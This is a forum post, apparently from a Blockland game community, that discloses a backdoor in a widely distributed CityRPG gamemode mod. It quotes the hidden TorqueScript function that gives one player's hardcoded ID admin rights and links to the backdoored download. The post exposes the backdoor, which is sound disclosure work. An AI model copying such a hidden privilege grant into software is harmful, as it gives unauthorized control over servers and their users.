I've seen quite a few more CityRPG's popping up lately. First thing that came to mind was that all these servers seemed to have been using similar versions of the mod (Notable: A job named "Aoki Cosplayer" available). I had also noticed that Aoki seemed to have been admin on all these servers, it wasn't suspicious at first since I thought that maybe Aoki was just popular among the people who liked hosting those things. But today I saw Aoki and asked if he had been the one distributing the mod.
Okay, that was interesting. So I asked him if I could have a look at it. He replied that he did not want to give out the 'updated version', but I managed to get him to post a link to whatever he had been giving out before. (The server had eval, so the link was posted using it. They also disabled the admin shields using eval a few minutes before.)
Link:
http://www.mediafire.com/download/1puibcsyocdc4xx/Gamemode_CityRPG.zipMirror:
http://pecon.us/storage/Gamemode_CityRPG.zipLooking through the code, I found exactly what I suspected I would find.
function serverCmdtogAdmin(%client)
{
if(%client.bl_id == 7395) //7395 is Aoki's BL_ID
{
%client.isAdmin = (%client.isAdmin ? 0 : 1);
%client.isSuperAdmin = (%client.isSuperAdmin ? 0 : 1);
commandtoclient(%client, 'setAdminLevel', %client.isAdmin);
messageAll('MsgClientJoin', '', %client.name, %client, %client.bl_id, %client.score, 0, %client.isAdmin, %client.isSuperAdmin);
if(%client.isAdmin)
{
messageAll('MsgAdminForce','\c2%1 has Re-Admined himself.', %client.name);
}
else
{
messageAll('MsgAdminForce','\c0%1 has De-Admined himself.', %client.name);
}
}
}
There was also another 'cheat' he had put in, which was a custom shapeName color (Actually gave a significant advantage in game).
This is a little less serious, but look at this.
This isn't really harmful, but I think intent was behind that. (And I am pretty sure that the eval access was achieved via the exploit in the mod, but he could have already been an admin)
On a slightly unrelated note, Visolator was acting shifty as forget and had made his own silent eval function so he could eval without anyone knowing. I don't know if he was up to anything, but it was shifty.
